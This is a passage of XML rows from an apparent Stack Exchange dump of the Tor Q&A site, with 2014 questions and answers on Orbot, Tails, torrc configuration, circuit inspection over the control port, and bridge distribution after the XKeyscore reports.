  <row Id="3496" PostTypeId="1" CreationDate="2014-07-09T23:02:02.927" Score="1" ViewCount="691" Body="&lt;p&gt;I'm trying to set up Burp Suite on Tails, however, it seens that the port 127.0.0.1:8080 is not being open by Burp Suite. Does anyone here already installed and used Burp Suite successfuly on Tails? How should I procede? Thank you guys ;)&lt;/p&gt;&#xA;" OwnerUserId="3128" LastActivityDate="2014-07-09T23:02:02.927" Title="Burp Suite on Tails" Tags="|tails|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3497" PostTypeId="1" CreationDate="2014-07-10T00:22:21.917" Score="3" ViewCount="1829" Body="&lt;p&gt;Am I screwed? Installed Orbot, enabled transparent proxying, tried to connect, connection failed, Orbot crashed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I can't connect at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried resetting Orbot, re-booting, re-configuring. Just uninstalled Orbot. Now, I have no connection, and no way to install apps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have terminal emulator. I have root. Can I just change a file somewhere that is hijacking my internet?&lt;/p&gt;&#xA;" OwnerUserId="3129" LastActivityDate="2019-02-10T01:52:03.150" Title="Android can't connect after Orbot crash" Tags="|orbot|transparent-proxy|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3498" PostTypeId="1" CreationDate="2014-07-10T06:18:39.173" Score="1" ViewCount="868" Body="&lt;p&gt;I have a problem with &lt;a href=&quot;http://www.steampowers.net&quot; rel=&quot;nofollow&quot;&gt;http://www.steampowers.net&lt;/a&gt;: Every time I try to log in with Tor it shows me &lt;a href=&quot;http://www.steampowers.net/proxy.php&quot; rel=&quot;nofollow&quot;&gt;this blocking page&lt;/a&gt;. I want to login to do a survey, because I live in a poor country so there is literally no survey to do. How can I fix this?&lt;/p&gt;&#xA;" OwnerUserId="3131" LastEditorUserId="288" LastEditDate="2014-07-14T22:08:07.207" LastActivityDate="2017-01-24T02:00:26.603" Title="Access forbidden at Steampowers" Tags="|blocked-services|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3500" PostTypeId="1" CreationDate="2014-07-10T07:28:32.797" Score="4" ViewCount="830" Body="&lt;p&gt;I have TBB 3.62 that contains everything I need to run on openSUSE 13.1, but they can not be used in the command-line mode (no gui), how to install tor+obfs offline in terminal and openSUSE 13.1?&lt;/p&gt;&#xA;" OwnerUserId="3135" LastActivityDate="2014-08-26T03:04:40.033" Title="How to offline install tor+obfs package" Tags="|obfsproxy|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3501" PostTypeId="2" ParentId="3472" CreationDate="2014-07-10T07:39:52.390" Score="0" Body="&lt;p&gt;I'm not sure, if the nodes B connect with C and C connect with D, and if BCD are co-operation, maybe they know your IP address and certainly your number of nodes, I'm not sure&lt;/p&gt;&#xA;" OwnerUserId="3135" LastActivityDate="2014-07-10T07:39:52.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3502" PostTypeId="2" ParentId="1427" CreationDate="2014-07-10T08:02:34.330" Score="18" Body="&lt;p&gt;Go to privacy setting and change the history setting to &quot;remember history&quot; and then &quot;remember passwords for sites&quot; will no longer be greyed out.&lt;/p&gt;&#xA;" OwnerUserId="3136" LastActivityDate="2014-07-10T08:02:34.330" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3504" PostTypeId="2" ParentId="3476" CreationDate="2014-07-10T10:23:21.913" Score="0" Body="&lt;p&gt;It's a little bit useless because most of &quot;criminal activities&quot; do occur in the clear net, not the dark net, so that will not solve your problem and would not prevent anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you live in China and visit the site of Amnesty International, you do commit a crime according to their laws, the notion of crime is a very confuse one.  &lt;/p&gt;&#xA;" OwnerUserId="3137" LastActivityDate="2014-07-10T10:23:21.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3507" PostTypeId="2" ParentId="2200" CreationDate="2014-07-10T20:43:26.933" Score="2" Body="&lt;p&gt;Any application can connect over Tor if it supports SOCKS, or if it can be properly wrapped using &lt;code&gt;torsocks&lt;/code&gt; or &lt;code&gt;usewithtor&lt;/code&gt;. Aside from that, it seems like you just need a headless browser or some other Javascript execution environment, of which there are many.&lt;/p&gt;&#xA;" OwnerUserId="3145" LastActivityDate="2014-07-10T20:43:26.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3508" PostTypeId="1" CreationDate="2014-07-11T00:23:20.303" Score="2" ViewCount="755" Body="&lt;p&gt;When I launch Orbit it says I'm connected to the Tor network but when I do the browser check it says I am not. Can anyone help me with this problem, much ado prepared.&lt;/p&gt;&#xA;" OwnerUserId="3147" LastEditorUserId="88" LastEditDate="2014-07-11T21:11:23.450" LastActivityDate="2014-09-08T17:09:05.890" Title="Help with Orbot/Tor on Kindle" Tags="|orbot|help|troubleshooting|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3509" PostTypeId="2" ParentId="3487" CreationDate="2014-07-11T04:12:16.087" Score="0" Body="&lt;p&gt;It is difficult to learn a new tool (e.g. an IDE) and a new code base at the same time. The best tool is the one you are most comfortable with. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are new to C, Wikipedia has a pretty &lt;a href=&quot;http://en.wikipedia.org/wiki/Comparison_of_integrated_development_environments#C.2FC.2B.2B&quot; rel=&quot;nofollow&quot;&gt;comprehensive comparison of C/C++ IDES&lt;/a&gt; that you can use to best meet your needs and skill level.&lt;/p&gt;&#xA;" OwnerUserId="610" LastActivityDate="2014-07-11T04:12:16.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3511" PostTypeId="1" AcceptedAnswerId="3585" CreationDate="2014-07-11T05:55:05.870" Score="3" ViewCount="1782" Body="&lt;p&gt;Bridges can be advertised by Email to clients. This procedure hinders anonymity as in new revelations by &lt;a href=&quot;http://daserste.ndr.de/panorama/aktuell/NSA-targets-the-privacy-conscious,nsa230.html&quot; rel=&quot;noreferrer&quot;&gt;Das Erste&lt;/a&gt;. May this procedure be halted until more anonymous ways are found and/or the procedure continues with the strict warning that it is only for purposes of circumvention and anonymity can not be achieved in this fashion?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following, please find an excerpt from Das Erste:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Users can request a bridge address via Email or on the web. The following fingerprints show two ways that XKeyscore attempts to track Tor bridge users. First, the fingerprint &quot;&lt;code&gt;anonymizer/tor/bridge/tls&lt;/code&gt;&quot; records connections to the bridges.torproject.org server. Second, in order [to] obtain the actual bridge addresses for the purpose of tracking connections to them in the future, the &quot;microplugin&quot; fingerprint called &quot;&lt;code&gt;anonymizer/tor/bridge/email&lt;/code&gt;&quot; extracts data from the body of the emails that the Tor Project sends to its users.&#xA;  [And],&#xA;  This code demonstrates the ease with which an XKeyscore rule can analyze the full content of intercepted connections. The fingerprint first checks every message using the &quot;email_address&quot; function to see if the message is to or from &quot;bridges@torproject.org&quot;. Next, if the address matched, it uses the &quot;email_body&quot; function to search the full content of the Email for a particular piece of text - in this case, &quot;&lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;noreferrer&quot;&gt;https://bridges.torproject.org/&lt;/a&gt;&quot;. If the &quot;email_body&quot; function finds what it is looking for, it passes the full email text to a C++ program which extracts the bridge addresses and stores them in a database. The full content of the Email must already be intercepted before this code can analyze it. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-07-22T00:56:47.710" LastActivityDate="2015-01-28T16:02:41.827" Title="Does using Email to send bridges and pluggable transport bridges hinder anonymity?" Tags="|anonymity|security|email|bridge|pluggable-transports|" AnswerCount="4" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="3512" PostTypeId="1" CreationDate="2014-07-11T07:41:12.203" Score="2" ViewCount="883" Body="&lt;p&gt;I'm having trouble to reach my home server through Tor:&#xA;I have the Tor browser bundle and can reach all sites I normally visit.&#xA;I also am able to reach my site while not proxying my traffic through Tor.&#xA;Only with my own site Tor says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Rejecting SOCKS request for anonymous connection to private address&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And also: have tried resolving or connecting to address '[scrubbed]' at 3 different places. Giving up.&#xA;I have a 'myname'.ddns.net dynamic dns set up. and also the port I try to reach is uncommon (9091)&#xA;Do I have to open this port somewhere else than my ISP router?&#xA;I have the impression that something is blocking my incoming traffic, but the port forwarding on my router is set correctly.&lt;/p&gt;&#xA;" OwnerUserId="3149" LastEditorUserId="3149" LastEditDate="2014-07-16T09:16:27.883" LastActivityDate="2014-07-16T09:16:27.883" Title="I can't reach my own site through Tor" Tags="|tor-browser-bundle|onion-routing|socks|" AnswerCount="1" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="3514" PostTypeId="1" CreationDate="2014-07-11T08:25:05.610" Score="4" ViewCount="75" Body="&lt;p&gt;How can I store trusted certificates for e.g. HTTPS in a manner, that they are still available after restarting of Tor Browser Bundle? &lt;/p&gt;&#xA;" OwnerUserId="3151" LastActivityDate="2015-07-01T10:54:14.840" Title="How to store certifcates over session?" Tags="|tor-browser-bundle|https|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3515" PostTypeId="1" CreationDate="2014-07-11T09:18:04.320" Score="2" ViewCount="1847" Body="&lt;p&gt;I'm running Tor and need to know an IP address of my latest node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is my config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# This file was generated by Tor; if you edit it, comments will not be preserved&#xA;# The old torrc file was renamed to torrc.orig.1 or similar, and Tor will ignore it&#xA;&#xA;AvoidDiskWrites 1&#xA;LearnCircuitBuildTimeout 0&#xA;CircuitBuildTimeout 60&#xA;CircuitIdleTimeout 1800&#xA;CircuitStreamTimeout 60&#xA;ClientOnly 1&#xA;ControlListenAddress 127.0.0.1&#xA;ControlPort 11000&#xA;DataDirectory [cropped]&#xA;DirReqStatistics 0&#xA;ExcludeNodes {??}&#xA;ExcludeExitNodes {??}&#xA;ExtraInfoStatistics 0&#xA;FastFirstHopPK 0&#xA;GeoIPExcludeUnknown 1&#xA;GeoIPFile [cropped]/geoip&#xA;GeoIPv6File [cropped]/geoip6&#xA;HashedControlPassword 16:[cropped]&#xA;KeepalivePeriod 600&#xA;Log notice stdout&#xA;MaxCircuitDirtiness 86400&#xA;MaxClientCircuitsPending 60&#xA;NewCircuitPeriod 60&#xA;WarnUnsafeSocks 0&#xA;NumCPUs 1&#xA;NumEntryGuards 8&#xA;PidFile [cropped]/pid&#xA;SafeSocks 1&#xA;SocksListenAddress 127.0.0.1&#xA;SocksPort 10000&#xA;SocksTimeout 60&#xA;Support022HiddenServices 0&#xA;UseNTorHandshake 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After a couple of seconds I establish connection to Tor control port. Then, after I have an established connection, I request via telnet &lt;code&gt;getinfo circuit-status&lt;/code&gt; command what prints to me all builded circuits. There is an sample output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;getinfo circuit-status&#xA;250+circuit-status=&#xA;14 BUILT $C309A31AD772FFDD0805C9FECB6D4748A7CBF684=ReflexZincOleate,$C11650E31F83E149C855D574B3171CC9CF9BEE19~ididedittheconfig,$4F7914F3E00DCCC0C2230AF56FF03B6C85B4F7E1=zzegu7eePh0chej BUILD_FLAGS=IS_INTERNAL,NEED_CAPACITY,NEED_UPTIME PURPOSE=GENERAL TIME_CREATED=2014-07-11T08:22:15.144333&#xA;13 BUILT $D22734C23156AC27E73E3A105E66061A5B4A17A6=Minus,$BA9B13893B8F9284466AF5A1D61526AC176F0035~uNSAubererHodeNSAck,$80A23969F2EFB552EC536D1CE0F1669B2B3E6414=han1 BUILD_FLAGS=IS_INTERNAL,NEED_CAPACITY,NEED_UPTIME PURPOSE=GENERAL TIME_CREATED=2014-07-11T08:22:14.144141&#xA;12 BUILT $D22734C23156AC27E73E3A105E66061A5B4A17A6=Minus,$A265F1DBE342A5BC6721C73F7832DAAEC8AC2053~toxiroxiPL,$D1271A1E15C568DA709D3A1E68188EEAE8DDB834=worfedpm BUILD_FLAGS=NEED_CAPACITY PURPOSE=GENERAL TIME_CREATED=2014-07-11T08:22:13.144935&#xA;11 BUILT $D22734C23156AC27E73E3A105E66061A5B4A17A6=Minus,$B7CDFC4D1FF2C53903DDF9D3605F299AE9CB892A=TorUaServAnon,$7E5F5B17CAA9BEF929F57D97EEFE305A2089E901=GEO BUILD_FLAGS=NEED_CAPACITY PURPOSE=GENERAL TIME_CREATED=2014-07-11T08:22:12.147800&#xA;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that I set up connection to Tor socks port and request site which tells me an IP address of my latest node. In this example I get an &lt;code&gt;31.172.30.1&lt;/code&gt;. Then I again request a &lt;code&gt;getinfo circuit-status&lt;/code&gt; command, and there is an output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;getinfo circuit-status&#xA;250+circuit-status=&#xA;16 BUILT $3A6A156A01891A13DFAB19A16D2DBABB84F1869B~Unnamed,$63C6AB74A5C288C2159DDC783BB00F88AB44427C=TangeNLV,$48B1B47BD189B86EFD67D93AB6904DAEFFE81B82~chaoscomputerclub18 BUILD_FLAGS=NEED_CAPACITY PURPOSE=GENERAL TIME_CREATED=2014-07-11T08:44:37.144086&#xA;15 BUILT $D661820AD807B5D82714462D946FE81526CD4856~toxiroxiLV,$9BF04559224F0F1C3C953D641F1744AF0192543A=geekbox,$44B9D9C24E3C04054AE0A47080CC55461A1AC116=CoinTossTail BUILD_FLAGS=NEED_CAPACITY PURPOSE=GENERAL TIME_CREATED=2014-07-11T08:43:37.144304&#xA;14 BUILT $C309A31AD772FFDD0805C9FECB6D4748A7CBF684=ReflexZincOleate,$C11650E31F83E149C855D574B3171CC9CF9BEE19~ididedittheconfig,$4F7914F3E00DCCC0C2230AF56FF03B6C85B4F7E1=zzegu7eePh0chej BUILD_FLAGS=IS_INTERNAL,NEED_CAPACITY,NEED_UPTIME PURPOSE=GENERAL TIME_CREATED=2014-07-11T08:22:15.144333&#xA;13 BUILT $D22734C23156AC27E73E3A105E66061A5B4A17A6=Minus,$BA9B13893B8F9284466AF5A1D61526AC176F0035~uNSAubererHodeNSAck,$80A23969F2EFB552EC536D1CE0F1669B2B3E6414=han1 BUILD_FLAGS=IS_INTERNAL,NEED_CAPACITY,NEED_UPTIME PURPOSE=GENERAL TIME_CREATED=2014-07-11T08:22:14.144141&#xA;12 BUILT $D22734C23156AC27E73E3A105E66061A5B4A17A6=Minus,$A265F1DBE342A5BC6721C73F7832DAAEC8AC2053~toxiroxiPL,$D1271A1E15C568DA709D3A1E68188EEAE8DDB834=worfedpm BUILD_FLAGS=NEED_CAPACITY PURPOSE=PATH_BIAS_TESTING TIME_CREATED=2014-07-11T08:22:13.144935&#xA;11 BUILT $D22734C23156AC27E73E3A105E66061A5B4A17A6=Minus,$B7CDFC4D1FF2C53903DDF9D3605F299AE9CB892A=TorUaServAnon,$7E5F5B17CAA9BEF929F57D97EEFE305A2089E901=GEO BUILD_FLAGS=NEED_CAPACITY PURPOSE=GENERAL TIME_CREATED=2014-07-11T08:22:12.147800&#xA;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now there is more circuits. Why? Then I go to TorStatus site and search for fingerprint of &lt;code&gt;31.172.30.1&lt;/code&gt; node. Now I know that it is a latest node at circuit number &lt;code&gt;16&lt;/code&gt; with fingerprint &lt;code&gt;48B1B47BD189B86EFD67D93AB6904DAEFFE81B82&lt;/code&gt; and &lt;code&gt;chaoscomputerclub18&lt;/code&gt; router name. It is a final conclusion. So, the questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is it right conclusion?&lt;/li&gt;&#xA;&lt;li&gt;Why Tor created a more circuits and not uses circuit at number &lt;code&gt;14&lt;/code&gt;?&lt;/li&gt;&#xA;&lt;li&gt;How I can get Tor bootstrap status via telnet, without a reading notice log file?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3150" LastEditorUserId="923" LastEditDate="2014-07-11T09:49:30.323" LastActivityDate="2014-07-11T09:49:30.323" Title="Tor and circuits" Tags="|circuit|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3516" PostTypeId="5" CreationDate="2014-07-11T09:29:59.883" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-07-11T09:29:59.883" LastActivityDate="2014-07-11T09:29:59.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3517" PostTypeId="4" CreationDate="2014-07-11T09:29:59.883" Score="0" Body="Some countries or companies inhibit several filters which should block information. Circumvention is the technique which helps to retrieve the original information." OwnerUserId="923" LastEditorUserId="88" LastEditDate="2014-07-11T21:06:19.777" LastActivityDate="2014-07-11T21:06:19.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3518" PostTypeId="2" ParentId="3266" CreationDate="2014-07-11T09:41:00.657" Score="1" Body="&lt;p&gt;If you want to view netflix or hulu from countries where those are not available then Hola is a better option for you. I am using this and works like a charm for this purpose.&lt;/p&gt;&#xA;" OwnerUserId="3149" LastActivityDate="2014-07-11T09:41:00.657" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3519" PostTypeId="1" CreationDate="2014-07-11T12:03:30.223" Score="1" ViewCount="431" Body="&lt;p&gt;I'm living in Hungary the network map there works perfectly. In Germany I think its blocked &#xA;by the internet provider. Tested 2 wifi HotSpot, always the same problem show up, only flags. The ExitNodes {us,ru} function won't work with general country selection with TORRC file method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mmMTR.png&quot; alt=&quot;TOR geoip map wont work&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="854" LastEditorUserId="923" LastEditDate="2014-07-11T13:02:43.070" LastActivityDate="2014-07-11T13:02:43.070" Title="Network map GeoIP is Blocked. Does not show country flags in Germany and the country selection won't work" Tags="|relays|vidalia|configuration|censorship|blocked-services|" AnswerCount="0" CommentCount="2" ClosedDate="2015-08-25T06:22:54.357" ContentLicense="CC BY-SA 3.0" />
  <row Id="3520" PostTypeId="2" ParentId="3484" CreationDate="2014-07-11T12:45:45.533" Score="1" Body="&lt;p&gt;Yes its possible with Vidalia plus Tor combination.&#xA;But you need add this to your &lt;code&gt;torrc&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;C:\Documents and Settings\USER\Local Settings\Application Data\Vidalia&lt;/code&gt; and open &lt;code&gt;torrc&lt;/code&gt; file with Notepad and copy paste this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksListenAddress 127.0.0.1&#xA;SocksPort 9150&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can use with another programs with IP 127.0.0.1 and port 9150 as proxy without the Tor browser bundle. But be careful if the program have a bug its can show your real IP. Such as do not transmit properly through the Tor. Works with only TCP protocol but won't work with UDP protocol Like Torrent, and Skype. If you want better and safer condition, use a Proxy management program like Proxyfier or proxycap. This forces the program to always go through with the Tor so there is lower probability to connect to the selected program directly without Tor.&lt;/p&gt;&#xA;" OwnerUserId="854" LastEditorUserId="88" LastEditDate="2014-07-11T22:44:44.453" LastActivityDate="2014-07-11T22:44:44.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3521" PostTypeId="2" ParentId="3484" CreationDate="2014-07-11T12:59:22.737" Score="1" Body="&lt;p&gt;Yes, you can use it without browser. For that you must run an application with &lt;code&gt;-f&lt;/code&gt; key and choose path to your configuration file, as for example, using &lt;code&gt;tor -f torrc&lt;/code&gt;, where is &lt;code&gt;torrc&lt;/code&gt; path to your configuration file.&lt;/p&gt;&#xA;" OwnerUserId="3150" LastActivityDate="2014-07-11T12:59:22.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3522" PostTypeId="1" AcceptedAnswerId="3532" CreationDate="2014-07-11T13:18:22.120" Score="1" ViewCount="2187" Body="&lt;p&gt;I've been trying to block torrent downloading on a mac computer using WaterRoof. I create rules that block ports 1025-65535 except 9150 which is the Tor control port, If I'm correct, but Tor Browser opens say either that Tor unexpectedly crashes or that it could not connect to Tor control port. I used the activity monitor to see which port it's trying to use and most of the times it says something like this localhost:50172 localhost:9150. Why is Tor reaching to other ports first and then 9150? I even selected ports 80,440 as the only ports that my firewall allows but nothing. Can anyone help me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: I fixed the issue. It turns out that I selected IP as protocol when I was making the rule in WaterRoof. I chose UDP and now Tor is working fine. Weird thing though is that I cannot connect to the Internet from normal web browsers. I tested the rule on my Macbook but no problems there. Any thoughts on this?&lt;/p&gt;&#xA;" OwnerUserId="3152" LastEditorUserId="3152" LastEditDate="2014-07-11T22:11:16.233" LastActivityDate="2016-10-03T17:49:07.943" Title="How to block local ports and get a working Tor version" Tags="|tor-browser-bundle|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3523" PostTypeId="2" ParentId="3495" CreationDate="2014-07-11T14:19:54.617" Score="2" Body="&lt;p&gt;Think that it is a dirty solution. But I've tried to apply this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;srand((unsigned)time(NULL));&#xA;routelen = (rand() % 6 + 1);&#xA;log_notice(LD_CIRC, &quot;Now routelen equals %d&quot;, routelen);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/2ee56e4c2c841a45418cfb826e1ce6689278382d:/src/or/circuitbuild.c#l2827&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; function, before &lt;code&gt;routelen&lt;/code&gt; variable returns, then compiled it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And my output looks like it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[notice] Opening Socks listener on 127.0.0.1:9150&#xA;[notice] Parsing GEOIP IPv4 file ./misc/geoip.&#xA;[notice] Parsing GEOIP IPv6 file ./misc/geoip6.&#xA;[notice] We now have enough directory information to build circuits.&#xA;[notice] Bootstrapped 80%: Connecting to the Tor network.&#xA;[notice] Now routelen equals 5&#xA;[notice] Bootstrapped 85%: Finishing handshake with first hop.&#xA;[notice] Bootstrapped 90%: Establishing a Tor circuit.&#xA;[notice] Now routelen equals 5&#xA;[notice] Now routelen equals 6&#xA;[notice] Tor has successfully opened a circuit. Looks like client functionality is working.&#xA;[notice] Bootstrapped 100%: Done.&#xA;[notice] Now routelen equals 6&#xA;[notice] Now routelen equals 4&#xA;[notice] Now routelen equals 2&#xA;[notice] Now routelen equals 6&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Think that it chooses randomly, can not confirm/refute this, but you can try.&lt;/p&gt;&#xA;" OwnerUserId="3150" LastEditorUserId="3150" LastEditDate="2014-07-12T12:57:44.210" LastActivityDate="2014-07-12T12:57:44.210" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3524" PostTypeId="2" ParentId="3488" CreationDate="2014-07-11T16:09:50.287" Score="1" Body="&lt;p&gt;Yes, this way, for example:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;(sorry, do not know how to hide it)&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/contrib/id_to_fp.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Helper for directory authority ops. When somebody sends us a private key, this utility converts the private key into a fingerprint so you can de-list that fingerprint&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/ext/strlcat.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Appends src to string dst of size siz&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/ext/strlcpy.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Copy src to string dst of size siz&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/ext/eventdns.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Async DNS Library&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/ext/tinytest_demo.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Welcome to the example file for tinytest&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/ext/tinytest.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;tinytest.c&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/ext/curve25519_donna/curve25519-donna-c64.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Curve25519 elliptic curve, public key function&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/ext/curve25519_donna/curve25519-donna.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Curve25519 elliptic curve, public key function&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/ext/OpenBSD_malloc_Linux.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;malloc.c&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/common/crypto_format.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Formatting and parsing code for crypto-related data structures&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/common/crypto_curve25519.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Wrapper code for a curve25519 implementation&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/common/log.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Functions to send messages to log files or the console&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/common/util_codedigest.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Return a string describing the digest of the source files in src/common/&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/common/procmon.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Process-termination monitor functions&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/common/container.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Implements a smartlist (a resizable array) along with helper functions to use smartlists. Also includes hash table implementations of a string-to-void* map, and of a digest-to-void* map&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/common/di_ops.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Functions for data-independent operations&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/common/compat_libevent.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Wrappers to handle porting between different versions of libevent&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/common/memarea.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Implementation for memarea_t, an allocator for allocating lots of small objects that will be freed all at once&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/common/crypto.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Wrapper functions to present a consistent interface to public-key and symmetric cryptography operations from OpenSSL&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  